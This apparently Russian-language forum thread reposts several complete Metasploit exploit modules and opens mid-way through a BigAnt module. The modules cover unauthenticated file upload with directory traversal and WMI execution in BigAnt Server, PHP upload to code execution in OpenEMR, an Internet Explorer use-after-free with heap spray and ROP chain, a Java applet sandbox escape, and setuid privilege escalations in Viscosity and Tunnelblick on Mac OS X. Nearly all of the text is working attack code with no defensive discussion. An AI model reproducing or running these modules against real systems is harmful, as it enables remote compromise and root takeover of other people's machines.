 
    sch = "SCH 16\n"
    sch << "cmdid: 1\n"
    sch << "content-length: 0\n"
    sch << "content-type: Appliction/Download\n"
    sch << "filename: #{random_filename}.txt\n"
    sch << "modified: #{random_date}\n"
    sch << "pclassid: 102\n"
    sch << "pobjid: 1\n"
    sch << "rootid: 1\n"
    sch << "sendcheck: 1\n"
    sch << "source_cmdname: DUPF\n"
    sch << "source_content-length: 116619\n"
    sch << "userid: #{random_userid}\n"
    sch << "username: #{sploit}\n\n"
 
    print_status("Trying target #{target.name}...")
 
    connect
    print_status("Sending SCH request...")
    sock.put(sch)
    res = sock.get_once
    if res.nil?
      fail_with(Exploit::Failure::Unknown, "No response to the SCH request")
    end
    if res=~ /scmderid: \{(.*)\}/
      scmderid = $1
    else
      fail_with(Exploit::Failure::UnexpectedReply, "scmderid value not found in the SCH response")
    end
 
    dupf = "DUPF 16\n"
    dupf << "cmdid: 1\n"
    dupf << "content-length: #{random_content.length}\n"
    dupf << "content-type: Appliction/Download\n"
    dupf << "filename: #{random_filename}.txt\n"
    dupf << "modified: #{random_date}\n"
    dupf << "pclassid: 102\n"
    dupf << "pobjid: 1\n"
    dupf << "rootid: 1\n"
    dupf << "scmderid: {#{scmderid}}\n"
    dupf << "sendcheck: 1\n"
    dupf << "userid: #{random_userid}\n"
    dupf << "username: #{random_username}\n\n"
    dupf << random_content
 
    print_status("Sending DUPF request...")
    sock.put(dupf)
    #sock.get_once
    disconnect
 
  end
 
end

Добавлено в [time]1361356182[/time]
BigAnt Server DUPF Command Arbitrary File Upload Vulnerability

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec
  include Msf::Exploit::FileDropper
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'BigAnt Server DUPF Command Arbitrary File Upload',
      'Description'    => %q{
          This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7.
        A lack of authentication allows to make unauthenticated file uploads through a DUPF
        command. Additionally the filename option in the same command can be used to launch
        a directory traversal attack and achieve arbitrary file upload.
 
        The module uses uses the Windows Management Instrumentation service to execute an
        arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It
        has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003
        SP2.
      },
      'Author'         =>
        [
          'Hamburgers Maccoy', # Vulnerability discovery
          'juan vazquez'       # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2012-6274' ],
          [ 'US-CERT-VU', '990652' ],
          [ 'BID', '57214' ],
          [ 'OSVDB', '89342' ]
        ],
      'Privileged'     => true,
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'BigAnt Server 2.97 SP7', { } ]
        ],
      'DefaultTarget' => 0,
      'DefaultOptions'  =>
        {
          'WfsDelay' => 10
        },
      'DisclosureDate' => 'Jan 09 2013'))
 
    register_options(
      [
        Opt::RPORT(6661),
        OptInt.new('DEPTH', [true, "Levels to reach base directory", 6])
      ], self.class)
 
  end
 
  def upload_file(filename, content)
 
    random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}"
 
    dupf = "DUPF 16\n"
    dupf << "cmdid: 1\n"
    dupf << "content-length: #{content.length}\n"
    dupf << "content-type: Appliction/Download\n"
    dupf << "filename: #{"\\.." * datastore['DEPTH']}\\#{filename}\n"
    dupf << "modified: #{random_date}\n"
    dupf << "pclassid: 102\n"
    dupf << "pobjid: 1\n"
    dupf << "rootid: 1\n"
    dupf << "sendcheck: 1\n\n"
    dupf << content
 
    print_status("sending DUPF")
    connect
    sock.put(dupf)
    res = sock.get_once
    disconnect
    return res
 
  end
 
  def exploit
 
    peer = "#{rhost}:#{rport}"
 
    # Setup the necessary files to do the wbemexec trick
    exe_name = rand_text_alpha(rand(10)+5) + '.exe'
    exe      = generate_payload_exe
    mof_name = rand_text_alpha(rand(10)+5) + '.mof'
    mof      = generate_mof(mof_name, exe_name)
 
    print_status("#{peer} - Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}")
    res = upload_file("WINDOWS\\system32\\#{exe_name}", exe)
    if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/
      print_good("#{peer} - #{exe_name} uploaded successfully")
    else
      if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/
        print_error("#{peer} - Upload failed, check the DEPTH option")
      end
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{exe_name}")
    end
 
    print_status("#{peer} - Sending HTTP ConvertFile Request to upload the mof file #{mof_name}")
    res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
    if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/
      print_good("#{peer} - #{mof_name} uploaded successfully")
      register_file_for_cleanup(exe_name)
      register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
    else
      if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/
        print_error("#{peer} - Upload failed, check the DEPTH option")
      end
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{mof_name}")
    end
 
  end
 
end

Добавлено в [time]1361356259[/time]
OpenEMR PHP File Upload Vulnerability

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "OpenEMR PHP File Upload Vulnerability",
      'Description'    => %q{
          This module exploits a vulnerability found in OpenEMR 4.1.1 By abusing the
        ofc_upload_image.php file from the openflashchart library, a malicious user can
        upload a file to the tmp-upload-images directory without any authentication, which
        results in arbitrary code execution. The module has been tested successfully on
        OpenEMR 4.1.1 over Ubuntu 10.04.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Gjoko Krstic <gjoko[at]zeroscience.mk>', # Discovery, PoC
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'OSVDB', '90222' ],
          [ 'BID', '37314' ],
          [ 'EBD', '24492' ],
          [ 'URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php' ],
          [ 'URL', 'http://www.open-emr.org/wiki/index.php/OpenEMR_Patches' ]
        ],
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['OpenEMR 4.1.1', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Feb 13 2013",
      'DefaultTarget'  => 0))
 
      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to EGallery', '/openemr'])
        ], self.class)
  end
 
  def check
    uri = target_uri.path
    peer = "#{rhost}:#{rport}"
 
    # Check version
    print_status("#{peer} - Trying to detect installed version")
 
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, "interface", "login", "login.php")
    })
 
    if res and res.code == 200 and res.body =~ /v(\d\.\d\.\d)/
      version = $1
    else
      return Exploit::CheckCode::Unknown
    end
 
    print_status("#{peer} - Version #{version} detected")
 
    if version > "4.1.1"
      return Exploit::CheckCode::Safe
    end
 
    # Check for vulnerable component
    print_status("#{peer} - Trying to detect the vulnerable component")
 
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php"),
    })
 
    if res and res.code == 200 and res.body =~ /Saving your image to/
      return Exploit::CheckCode::Detected
    end
 
    return Exploit::CheckCode::Safe
  end
 
  def exploit
    uri = target_uri.path
 
    peer = "#{rhost}:#{rport}"
    payload_name = rand_text_alpha(rand(10) + 5) + '.php'
    my_payload = payload.encoded
 
    print_status("#{peer} - Sending PHP payload (#{payload_name})")
    res = send_request_raw({
      'method'  => 'POST',
      'uri'     => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php") + "?name=#{payload_name}",
      'headers' => { "Content-Length" => my_payload.length.to_s },
      'data'    => my_payload
    })
 
    # If the server returns 200 and the body contains our payload name,
    # we assume we uploaded the malicious file successfully
    if not res or res.code != 200 or res.body !~ /Saving your image to.*#{payload_name}$/
      fail_with(Exploit::Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!")
    end
 
    register_file_for_cleanup(payload_name)
 
    print_status("#{peer} - Executing PHP payload (#{payload_name})")
    # Execute our payload
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri("#{uri}", "library", "openflashchart", "tmp-upload-images", payload_name),
    })
 
    # If we don't get a 200 when we request our malicious payload, we suspect
    # we don't have a shell, either.  Print the status code for debugging purposes.
    if res and res.code != 200
      print_error("#{peer} - Server returned #{res.code.to_s}")
    end
  end
 
end
 
MS13-009 Microsoft Internet Explorer SLayoutRun Use-After-Free

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
 
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS13-009 Microsoft Internet Explorer SLayoutRun Use-After-Free",
      'Description'    => %q{
        This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
        where a CParaElement node is released but a reference is still kept
        in CDoc. This memory is reused when a CDoc relayout is performed.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Scott Bell <scott.bell@security-assessment.com>' # Vulnerability discovery & Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-0025' ],
          [ 'MSB', 'MS13-009' ],
          [ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ]
        ],
      'Payload'    =>
        {
          'BadChars'       => "\x00",
          'Space'          => 920,
          'DisableNops'    => true,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'    => 'win',
      'Targets'    =>
        [
          [ 'Automatic', {} ],
          [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
        ],
      'Privileged'    => false,
      'DisclosureDate'  => "Feb 13 2013",
      'DefaultTarget'   => 0))
 
    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class)
 
  end
 
  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'
 
    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
 
    ie_name = "IE #{ie}"
 
    case nt
    when '5.1'
      os_name = 'Windows XP SP3'
    end
 
    targets.each do |t|
      if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
        print_status("Target selected as: #{t.name}")
        return t
      end
    end
 
    return nil
  end
 
  def heap_spray(my_target, p)
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
 
    js = %Q|
 
      var heap_obj = new heapLib.ie(0x20000);
      var code = unescape("#{js_code}");
      var nops = unescape("#{js_nops}");
      while (nops.length < 0x80000) nops += nops;
      var offset = nops.substring(0, #{my_target['Offset']});
      var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
      while (shellcode.length < 0x40000) shellcode += shellcode;
      var block = shellcode.substring(0, (0x80000-6)/2);
      heap_obj.gc();
      for (var i=1; i < 0x300; i++) {
        heap_obj.alloc(block);
      }
      var overflow = nops.substring(0, 10);
 
    |
 
    js = heaplib(js, {:noobfu => true})
 
    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate
 
    end
 
    return js
  end
 
  def get_payload(t, cli)
    code = payload.encoded
 
    # No rop. Just return the payload.
    return code if t['Rop'].nil?
 
    # ROP chain generated by mona.py - See corelan.be
    case t['Rop']
    when :msvcrt
      print_status("Using msvcrt ROP")
      rop_nops = [0x77c39f92].pack("V") * 11 # RETN
      rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
      rop_payload << rop_nops
      rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN
      rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN
      rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN
      rop_payload << [0x77c39f92].pack("V") # RETN
      rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset
      rop_payload << code
    end
 
    return rop_payload
  end
 
  def get_exploit(my_target, cli)
    p  = get_payload(my_target, cli)
    js = heap_spray(my_target, p)
 
    html = %Q|
    <!doctype html>
    <html>
    <head>
    <script>
    #{js}
    </script>
    <script>
    var data;
    var objArray = new Array(1150);
 
    setTimeout(function(){
      document.body.style.whiteSpace = "pre-line";
 
      CollectGarbage();
 
      for (var i=0;i<1150;i++){
        objArray[i] = document.createElement('div');
        objArray[i].className = data += unescape("%u0c0c%u0c0c");
      }
 
      setTimeout(function(){document.body.innerHTML = "boo"}, 100)
    }, 100)
 
    </script>
    </head>
    <body>
    <p> </p>
    </body>
    </html>
    |
 
    return html
  end
 
 
  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    uri   = request.uri
    print_status("Requesting: #{uri}")
 
    my_target = get_target(agent)
    # Avoid the attack if no suitable target found
    if my_target.nil?
      print_error("Browser not supported, sending 404: #{agent}")
      send_not_found(cli)
      return
    end
 
    html = get_exploit(my_target, cli)
    html = html.gsub(/^\t\t/, '')
    print_status "Sending HTML..."
    send_response(cli, html, {'Content-Type'=>'text/html'})
 
  end
 
end
 
Java Applet JMX Remote Code Execution

This Metasploit module abuses the JMX classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in February of 2013. Additionally, this module bypasses default security settings introduced in Java 7 Update 10 to run unsigned applet without displaying any warning to the user.

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  include Msf::Exploit::Remote::BrowserAutopwn
  autopwn_info({ :javascript => false })

  def initialize( info = {} )

    super( update_info( info,
      'Name'          => 'Java Applet JMX Remote Code Execution',
      'Description'   => %q{
          This module abuses the JMX classes from a Java Applet to run arbitrary Java code
        outside of the sandbox as exploited in the wild in February of 2013. Additionally,
        this module bypasses default security settings introduced in Java 7 Update 10 to run
        unsigned applet without displaying any warning to the user.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Unknown', # Vulnerability discovery and exploit in the wild
          'Adam Gowdiak', # Vulnerability discovery
          'SecurityObscurity', # Exploit analysis and deobfuscation
          'juan vazquez' # Metasploit module
        ],
      'References'    =>
        [
          [ 'CVE', '2013-0431' ],
          [ 'OSVDB', '89613' ],
          [ 'BID', '57726' ],
          [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-8.pdf' ],
          [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-9.pdf' ],
          [ 'URL', 'http://security-obscurity.blogspot.com.es/2013/01/about-new-java-0-day-vulnerability.html' ],
          [ 'URL', 'http://pastebin.com/QWU1rqjf' ],
          [ 'URL', 'http://malware.dontneedcoffee.com/2013/02/cve-2013-0431-java-17-update-11.html' ]
        ],
      'Platform'      => [ 'java', 'win', 'osx', 'linux' ],
      'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
      'Targets'       =>
        [
          [ 'Generic (Java Payload)',
            {
              'Platform' => ['java'],
              'Arch' => ARCH_JAVA,
            }
          ],
          [ 'Windows x86 (Native Payload)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86,
            }
          ],
          [ 'Mac OS X x86 (Native Payload)',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_X86,
            }
          ],
          [ 'Linux x86 (Native Payload)',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86,
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 19 2013'
    ))
  end

  def on_request_uri(cli, request)
    print_status("handling request for #{request.uri}")

    case request.uri
    when /\.jar$/i
      print_status("Sending JAR")
      send_response( cli, generate_jar, { 'Content-Type' => "application/octet-stream" } )
    when /\/$/
      print_status("Sending HTML")
      send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
    else
      send_redirect(cli, get_resource() + '/', '')
    end
  end

  def generate_jar
    paths = [
      [ "Exploit.ser" ],
      [ "Exploit.class" ],
      [ "B.class" ]
    ]

    p = regenerate_payload(cli)

    jar  = p.encoded_jar

    paths.each do |path|
      1.upto(path.length - 1) do |idx|
        full = path[0,idx].join("/") + "/"
        if !(jar.entries.map{|e|e.name}.include?(full))
          jar.add_file(full, '')
        end
      end
      fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2013-0431", path ), "rb")
      data = fd.read(fd.stat.size)
      jar.add_file(path.join("/"), data)
      fd.close
    end
    return  jar.pack
  end

  def generate_html
    html = <<-EOF
<html>
<script language="Javascript">

var _app = navigator.appName;

if (_app == 'Microsoft Internet Explorer') {
document.write('<applet archive="#{rand_text_alpha(4+rand(4))}.jar" object="Exploit.ser"></applet>');
} else {
document.write('<embed object="Exploit.ser" type="application/x-java-applet;version=1.6" archive="#{rand_text_alpha(4+rand(4))}.jar"></embed>');
}

</script>
</html>
    EOF
    return html
  end

end
 
Viscosity setuid-set ViscosityHelper Privilege Escalation

This Metasploit module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The vulnerability exists in the setuid ViscosityHelper, where an insufficient validation of path names allows execution of arbitrary python code as root. This Metasploit module has been tested successfully on Viscosity 1.4.1 over Mac OS X 10.7.5.

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/exploit/exe'

class Metasploit4 < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Post::Common

  def initialize(info={})
    super( update_info( info, {
        'Name'           => 'Viscosity setuid-set ViscosityHelper Privilege Escalation',
        'Description'    => %q{
            This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The
          vulnerability exists in the setuid ViscosityHelper, where an insufficient
          validation of path names allows execution of arbitrary python code as root.
          This module has been tested successfully on Viscosity 1.4.1 over Mac OS X
          10.7.5.
        },
        'References'     =>
          [
            [ 'CVE', '2012-4284' ],
            [ 'OSVDB', '84709' ],
            [ 'EDB', '20485' ],
            [ 'URL', 'http://blog.zx2c4.com/791' ]
          ],
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'Jason A. Donenfeld', # Vulnerability discovery and original Exploit
            'juan vazquez'        # Metasploit module
          ],
        'DisclosureDate' => 'Aug 12 2012',
        'Platform'       => 'osx',
        'Arch'           => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes'   => [ 'shell' ],
        'Targets'        =>
          [
            [ 'Viscosity 1.4.1 / Mac OS X x86',    { 'Arch' => ARCH_X86 } ],
            [ 'Viscosity 1.4.1 / Mac OS X x64',    { 'Arch' => ARCH_X64 } ]
          ],
        'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
        'DefaultTarget' => 0
      }))
    register_options([
        # These are not OptPath becuase it's a *remote* path
        OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
        OptString.new("Viscosity",   [ true, "Path to setuid ViscosityHelper executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ])
      ], self.class)
  end

  def check
    if not file?(datastore["Viscosity"])
      print_error "ViscosityHelper not found"
      return CheckCode::Safe
    end

    check = session.shell_command_token("find  #{datastore["Viscosity"]} -type f -user root -perm -4000")

    if check =~ /ViscosityHelper/
      return CheckCode::Vulnerable
    end

    return CheckCode::Safe
  end

  def clean
    file_rm(@link)
    file_rm(@python_file)
    file_rm("#{@python_file}c")
    file_rm(@exe_file)
  end

  def exploit

    exe_name = rand_text_alpha(8)
    @exe_file = "#{datastore["WritableDir"]}/#{exe_name}"
    print_status("Dropping executable #{@exe_file}")
    write_file(@exe_file, generate_payload_exe)

    evil_python =<<-EOF
import os
os.setuid(0)
os.setgid(0)
os.system("chown root #{@exe_file}")
os.system("chmod 6777 #{@exe_file}")
os.execl("#{@exe_file}", "#{exe_name}")
    EOF

    @python_file = "#{datastore["WritableDir"]}/site.py"
    print_status("Dropping python #{@python_file}...")
    write_file(@python_file, evil_python)

    print_status("Creating symlink...")
    link_name = rand_text_alpha(8)
    @link = "#{datastore["WritableDir"]}/#{link_name}"
    cmd_exec "ln -s -f -v #{datastore["Viscosity"]} #{@link}"

    print_status("Running...")
    begin
      cmd_exec "#{@link}"
    rescue
      print_error("Failed. Cleaning files #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}...")
      clean
      return
    end
    print_warning("Remember to clean files: #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}")
  end
end

Добавлено в [time]1362470982[/time]
Setuid Tunnelblick Privilege Escalation

This Metasploit module exploits a vulnerability in Tunnelblick 3.2.8 on Mac OS X. The vulnerability exists in the setuid openvpnstart, where an insufficient validation of path names allows execution of arbitrary shell scripts as root. This Metasploit module has been tested successfully on Tunnelblick 3.2.8 build 2891.3099 over Mac OS X 10.7.5.

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/exploit/exe'

class Metasploit4 < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Post::Common

  def initialize(info={})
    super( update_info( info, {
        'Name'           => 'Setuid Tunnelblick Privilege Escalation',
        'Description'    => %q{
            This module exploits a vulnerability in Tunnelblick 3.2.8 on Mac OS X. The
          vulnerability exists in the setuid openvpnstart, where an insufficient
          validation of path names allows execution of arbitrary shell scripts as root.
          This module has been tested successfully on Tunnelblick 3.2.8 build 2891.3099
          over Mac OS X 10.7.5.
        },
        'References'     =>
          [
            [ 'CVE', '2012-3485' ],
            [ 'EDB', '20443' ],
            [ 'URL', 'http://blog.zx2c4.com/791' ]
          ],
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'Jason A. Donenfeld', # Vulnerability discovery and original Exploit
            'juan vazquez'        # Metasploit module
          ],
        'DisclosureDate' => 'Aug 11 2012',
        'Platform'       => 'osx',
        'Arch'           => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes'   => [ 'shell' ],
        'Targets'        =>
          [
            [ 'Tunnelblick 3.2.8 / Mac OS X x86',    { 'Arch' => ARCH_X86 } ],
            [ 'Tunnelblick 3.2.8 / Mac OS X x64',    { 'Arch' => ARCH_X64 } ]
          ],
        'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
        'DefaultTarget' => 0
      }))
    register_options([
        # These are not OptPath becuase it's a *remote* path
        OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
        OptString.new("Tunnelblick", [ true, "Path to setuid openvpnstart executable", "/Applications/Tunnelblick.app/Contents/Resources/openvpnstart" ])
      ], self.class)
  end

  def check
    if not file?(datastore["Tunnelblick"])
      print_error "openvpnstart not found"
      return CheckCode::Safe
    end

    check = session.shell_command_token("find  #{datastore["Tunnelblick"]} -type f -user root -perm -4000")

    if check =~ /openvpnstart/
      return CheckCode::Vulnerable
    end

    return CheckCode::Safe
  end

  def clean
    file_rm(@link)
    cmd_exec("rm -rf #{datastore["WritableDir"]}/openvpn")
  end

  def exploit

    print_status("Creating directory...")
    cmd_exec "mkdir -p #{datastore["WritableDir"]}/openvpn/openvpn-0"

    exe_name = rand_text_alpha(8)
    @exe_file = "#{datastore["WritableDir"]}/openvpn/openvpn-0/#{exe_name}"
    print_status("Dropping executable #{@exe_file}")
    write_file(@exe_file, generate_payload_exe)
    cmd_exec "chmod +x #{@exe_file}"


    evil_sh =<<-EOF
#!/bin/sh
#{@exe_file}
    EOF

    @sh_file = "#{datastore["WritableDir"]}/openvpn/openvpn-0/openvpn"
    print_status("Dropping shell script #{@sh_file}...")
    write_file(@sh_file, evil_sh)
    cmd_exec "chmod +x #{@sh_file}"

    link_name = rand_text_alpha(8)
    @link = "#{datastore["WritableDir"]}/#{link_name}"
    print_status("Creating symlink #{@link}...")
    cmd_exec "ln -s -f -v #{datastore["Tunnelblick"]} #{@link}"

    print_status("Running...")
    begin
      cmd_exec "#{@link} OpenVPNInfo 0"
    rescue
      print_error("Failed. Cleaning files #{@link} and the #{datastore["WritableDir"]}/openvpn directory")
      clean
      return
    end
    print_warning("Remember to clean files: #{@link} and the #{datastore["WritableDir"]}/openvpn directory")
  end
end
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх